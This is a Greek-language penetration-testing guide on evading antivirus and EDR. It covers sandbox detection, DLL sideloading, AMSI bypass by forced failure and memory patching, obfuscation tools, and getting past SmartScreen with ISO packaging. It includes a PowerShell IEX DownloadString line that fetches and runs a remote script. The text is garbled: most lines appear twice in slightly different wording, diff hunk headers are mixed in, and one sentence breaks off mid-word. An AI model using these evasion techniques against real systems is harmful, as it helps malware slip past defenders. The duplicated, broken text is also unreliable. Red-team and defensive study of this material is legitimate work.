<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
{% embed url="https://www.stmcyber.com/careers" %}
**Αυτή η σελίδα γράφτηκε από** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!** **Αυτή η σελίδα γράφτηκε από** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **Μεθοδολογία Αποφυγής AV** ## **Μεθοδολογία Αποφυγής AV**
@ -41,17 +47,17 @@
Ένας καλός τρόπος για να ελέγξετε την στατική ανίχνευση του Windows Defender είναι το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Βασικά χωρίζει το αρχείο σε πολλαπλά τμήματα και στη συνέχεια ζητά από τον Defender να σαρώσει το καθένα ξεχωριστά, με αυτόν τον τρόπο, μπορεί να σας πει ακριβώς ποιες είναι οι επισημασμένες συμβολοσειρές ή bytes στο δυαδικό σας. Ένας καλός τρόπος για να ελέγξετε την στατική ανίχνευση του Windows Defender είναι το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Βασικά χωρίζει το αρχείο σε πολλαπλά τμήματα και στη συνέχεια ζητά από τον Defender να σαρώσει το καθένα ξεχωριστά, με αυτόν τον τρόπο, μπορεί να σας πει ακριβώς ποιες είναι οι επισημασμένες συμβολοσειρές ή bytes στο δυαδικό σας.
{% endhint %} {% endhint %}
Συνιστώ ανεπιφύλακτα να ελέγξετε αυτή τη [λίστα αναπαραγωγής στο YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με πρακτική αποφυγή AV. Σας προτείνω να ελέγξετε αυτή τη [λίστα αναπαραγωγής στο YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με πρακτική αποφυγή AV.
### **Δυναμική ανάλυση** ### **Δυναμική ανάλυση**
Η δυναμική ανάλυση είναι όταν το AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox. Η δυναμική ανάλυση είναι όταν το AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να αποφύγετε τα sandbox.
* **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλώς να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί. * **Ύπνος πριν την εκτέλεση** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων περιόδων ύπνου μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλώς να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί.
* **Έλεγχος πόρων μηχανής** Συνήθως τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox. * **Έλεγχος πόρων της μηχανής** Συνήθως τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα είναι όλα υλοποιημένα στο sandbox.
* **Έλεγχοι συγκεκριμένων μηχανών** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. * **Έλεγχοι συγκεκριμένοι για τη μηχανή** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο υπολογιστής είναι συνδεδεμένος στο τομέα "contoso.local", μπορείτε να κάνετε έναν έλεγχο στον τομέα του υπολογιστή για να δείτε αν ταιριάζει με αυτόν που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει. Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>πηγή: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure> <figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>πηγή: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -63,19 +69,19 @@
Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS. Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS.
Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο, αν όχι το πιο επισημασμένο κομμάτι κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τα AV, οπότε απλώς αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε. Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο, αν όχι το πιο επισημασμένο κομμάτι κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης εφιάλτης να δουλέψετε μαζί του για να παρακάμψετε τα AV, οπότε απλώς αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να επιτύχετε.
{% hint style="info" %} {% hint style="info" %}
Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από ένα συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα. Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι η επίτευξη αποφυγής μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από ένα συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα.
{% endhint %} {% endhint %}
## EXEs vs DLLs ## EXEs vs DLLs
Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά). Όποτε είναι δυνατόν, πάντα **προτιμήστε τη χρήση DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλύονται, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά).
Όπως μπορούμε να δούμε σε αυτή την εικόνα, ένα Payload DLL από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το payload EXE έχει ποσοστό ανίχνευσης 7/26. Όπως μπορούμε να δούμε σε αυτή την εικόνα, ένα Payload DLL από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το payload EXE έχει ποσοστό ανίχνευσης 7/26.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>σύγκριση antiscan.me ενός κανονικού payload EXE του Havoc με ένα κανονικό payload DLL του Havoc</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>σύγκριση antiscan.me ενός κανονικού payload EXE του Havoc με ένα κανονικό DLL του Havoc</p></figcaption></figure>
Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί. Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί.
@ -129,12 +135,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η DLL proxy έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία. Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
Σας **συνιστώ έντονα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [βίντεο του ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά. Σας **συνιστώ έντονα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [βίντεο του ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά.
{% endhint %} {% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
@ -156,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού) ## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού)
Η AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώνουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα. Η AMSI δημιουργήθηκε για να αποτρέπει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Αρχικά, οι AV ήταν ικανοί να σαρώσουν **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα.
Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows. Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows.
@ -164,9 +170,9 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
* PowerShell (σενάρια, διαδραστική χρήση και δυναμική αξιολόγηση κώδικα) * PowerShell (σενάρια, διαδραστική χρήση και δυναμική αξιολόγηση κώδικα)
* Windows Script Host (wscript.exe και cscript.exe) * Windows Script Host (wscript.exe και cscript.exe)
* JavaScript και VBScript * JavaScript και VBScript
* Μακροεντολές VBA του Office * Μακροεντολές Office VBA
Επιτρέπει στις λύσεις antivirus να ελέγχουν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη παραποιημένη. Επιτρέπει στις λύσεις antivirus να επιθεωρούν τη συμπεριφορά των σεναρίων εκθέτοντας το περιεχόμενο των σεναρίων με μορφή που είναι τόσο μη κρυπτογραφημένη όσο και μη αποκρυπτογραφημένη.
Η εκτέλεση `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender. Η εκτέλεση `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` θα παράγει την ακόλουθη ειδοποίηση στο Windows Defender.
@ -178,19 +184,19 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI: Υπάρχουν μερικοί τρόποι για να παρακάμψετε την AMSI:
* **Παραποίηση** * **Αποκρυπτογράφηση**
Δεδομένου ότι η AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση. Δεδομένου ότι η AMSI λειτουργεί κυρίως με στατικές ανιχνεύσεις, επομένως, η τροποποίηση των σεναρίων που προσπαθείτε να φορτώσετε μπορεί να είναι ένας καλός τρόπος για να αποφύγετε την ανίχνευση.
Ωστόσο, η AMSI έχει τη δυνατότητα να αποπαραποιεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η παραποίηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό καθιστά την αποφυγή όχι και τόσο απλή. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι. Ωστόσο, η AMSI έχει τη δυνατότητα να αποκρυπτογραφεί σενάρια ακόμη και αν έχει πολλαπλά επίπεδα, οπότε η αποκρυπτογράφηση μπορεί να είναι κακή επιλογή ανάλογα με το πώς γίνεται. Αυτό το καθιστά όχι και τόσο απλό να αποφευχθεί. Αν και, μερικές φορές, το μόνο που χρειάζεται να κάνετε είναι να αλλάξετε μερικά ονόματα μεταβλητών και θα είστε εντάξει, οπότε εξαρτάται από το πόσο έχει επισημανθεί κάτι.
* **Παράκαμψη AMSI** * **Παράκαμψη AMSI**
Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση της AMSI. Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση AMSI.
**Εξαναγκασμός Σφάλματος** **Εξαναγκασμός Σφάλματος**
Η εξαναγκασμένη αποτυχία της αρχικοποίησης AMSI (amsiInitFailed) θα έχει ως αποτέλεσμα να μην ξεκινήσει καμία σάρωση για τη τρέχουσα διαδικασία. Αρχικά, αυτό αποκαλύφθηκε από τον [Matt Graeber](https://twitter.com/mattifestation) και η Microsoft έχει αναπτύξει μια υπογραφή για να αποτρέψει τη μεγαλύτερη χρήση. Η εξαναγκασμένη αποτυχία της αρχικοποίησης AMSI (amsiInitFailed) θα έχει ως αποτέλεσμα να μην ξεκινήσει καμία σάρωση για τη τρέχουσα διαδικασία. Αρχικά, αυτό αποκαλύφθηκε από τον [Matt Graeber](https://twitter.com/mattifestation) και η Microsoft έχει αναπτύξει μια υπογραφή για να αποτρέψει τη μεγαλύτερη χρήση.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```powershell
@ -198,7 +204,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
``` ```
{% endcode %} {% endcode %}
Το μόνο που χρειάστηκε ήταν μία γραμμή κώδικα powershell για να καταστήσει το AMSI μη λειτουργικό για τη τρέχουσα διαδικασία powershell. Αυτή η γραμμή έχει φυσικά επισημανθεί από το AMSI, οπότε απαιτείται κάποια τροποποίηση για να χρησιμοποιηθεί αυτή η τεχνική. Το μόνο που χρειάστηκε ήταν μία γραμμή κώδικα powershell για να καταστήσει το AMSI μη λειτουργικό για τη τρέχουσα διαδικασία powershell. Αυτή η γραμμή έχει φυσικά επισημανθεί από το ίδιο το AMSI, οπότε απαιτείται κάποια τροποποίηση προκειμένου να χρησιμοποιηθεί αυτή η τεχνική.
Εδώ είναι μια τροποποιημένη παράκαμψη AMSI που πήρα από αυτό το [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). Εδώ είναι μια τροποποιημένη παράκαμψη AMSI που πήρα από αυτό το [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell ```powershell
@ -218,23 +224,23 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching** **Memory Patching**
Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/\_RastaMouse/) και περιλαμβάνει την εύρεση διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάστασή της με οδηγίες για την επιστροφή του κωδικού E\_INVALIDARG, με αυτόν τον τρόπο, το αποτέλεσμα της πραγματικής σάρωσης θα επιστρέψει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα. Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/\_RastaMouse/) και περιλαμβάνει την εύρεση διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάσταση της με οδηγίες για να επιστρέψει τον κωδικό για E\_INVALIDARG, με αυτόν τον τρόπο, το αποτέλεσμα της πραγματικής σάρωσης θα επιστρέψει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα.
{% hint style="info" %} {% hint style="info" %}
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
{% endhint %} {% endhint %}
Υπάρχουν επίσης πολλές άλλες τεχνικές που χρησιμοποιούνται για να παρακαμφθεί η AMSI με powershell, ρίξτε μια ματιά [**σε αυτή τη σελίδα**](basic-powershell-for-pentesters/#amsi-bypass) και [σε αυτό το repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) για να μάθετε περισσότερα σχετικά με αυτές. Υπάρχουν επίσης πολλές άλλες τεχνικές που χρησιμοποιούνται για να παρακαμφθεί το AMSI με powershell, ρίξτε μια ματιά [**σε αυτή τη σελίδα**](basic-powershell-for-pentesters/#amsi-bypass) και [σε αυτό το repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) για να μάθετε περισσότερα σχετικά με αυτές.
Ή αυτό το σενάριο που μέσω μνήμης θα διορθώσει κάθε νέο Powersh Ή αυτό το σενάριο που μέσω μνήμης θα διορθώσει κάθε νέο Powersh
## Obfuscation ## Obfuscation
Υπάρχουν αρκετά εργαλεία που μπορούν να χρησιμοποιηθούν για να **obfuscate C# clear-text code**, να δημιουργήσουν **metaprogramming templates** για τη σύνθεση δυαδικών αρχείων ή να **obfuscate compiled binaries** όπως: Υπάρχουν αρκετά εργαλεία που μπορούν να χρησιμοποιηθούν για να **obfuscate C# clear-text code**, να δημιουργήσουν **metaprogramming templates** για να συντάξουν δυαδικά αρχεία ή να **obfuscate compiled binaries** όπως:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνθεσης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) και tamper-proofing. * [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνταξης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) και tamper-proofing.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνθεσης, obfuscated code χωρίς τη χρήση εξωτερικού εργαλείου και χωρίς να τροποποιήσετε τον μεταγλωττιστή. * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνταξης, obfuscated code χωρίς να χρησιμοποιήσετε κανένα εξωτερικό εργαλείο και χωρίς να τροποποιήσετε τον μεταγλωττιστή.
* [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που παράγονται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη. * [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που παράγονται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας x64 binary obfuscator που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe συμπεριλαμβανομένων: .exe, .dll, .sys * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας x64 binary obfuscator που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe συμπεριλαμβανομένων: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Το Metame είναι ένας απλός κινητικός κωδικός μηχανής για αυθαίρετους εκτελέσιμους. * [**metame**](https://github.com/a0rtega/metame): Το Metame είναι ένας απλός κινητικός κωδικός μηχανής για αυθαίρετους εκτελέσιμους.
@ -246,7 +252,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
Μπορεί να έχετε δει αυτή την οθόνη όταν κατεβάζετε κάποια εκτελέσιμα από το διαδίκτυο και τα εκτελείτε. Μπορεί να έχετε δει αυτή την οθόνη όταν κατεβάζετε κάποια εκτελέσιμα από το διαδίκτυο και τα εκτελείτε.
Ο Microsoft Defender SmartScreen είναι ένας μηχανισμός ασφαλείας που προορίζεται να προστατεύσει τον τελικό χρήστη από την εκτέλεση δυνητικά κακόβουλων εφαρμογών. Το Microsoft Defender SmartScreen είναι ένας μηχανισμός ασφαλείας που προορίζεται να προστατεύσει τον τελικό χρήστη από την εκτέλεση δυνητικά κακόβουλων εφαρμογών.
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
@ -260,7 +266,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.
{% endhint %} {% endhint %}
Μια πολύ αποτελεσματική μέθοδος για να αποτρέψετε τα payloads σας από το να αποκτήσουν το Mark of The Web είναι να τα συσκευάσετε μέσα σε κάποιο είδος κοντέινερ όπως ένα ISO. Αυτό συμβαίνει επειδή το Mark-of-the-Web (MOTW) **δεν μπορεί** να εφαρμοστεί σε **μη NTFS** τόμους. Ένας πολύ αποτελεσματικός τρόπος για να αποτρέψετε τα payloads σας από το να αποκτήσουν το Mark of The Web είναι να τα συσκευάσετε μέσα σε κάποιο είδος κοντέινερ όπως ένα ISO. Αυτό συμβαίνει επειδή το Mark-of-the-Web (MOTW) **δεν μπορεί** να εφαρμοστεί σε **μη NTFS** τόμους.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -296,35 +302,35 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
Η φόρτωση δυαδικών αρχείων C# στη μνήμη είναι γνωστή εδώ και αρκετό καιρό και είναι ακόμα ένας πολύ καλός τρόπος για να εκτελείτε τα εργαλεία σας μετά την εκμετάλλευση χωρίς να πιαστείτε από το AV. Η φόρτωση δυαδικών αρχείων C# στη μνήμη είναι γνωστή εδώ και αρκετό καιρό και είναι ακόμα ένας πολύ καλός τρόπος για να εκτελείτε τα εργαλεία σας μετά την εκμετάλλευση χωρίς να πιαστείτε από το AV.
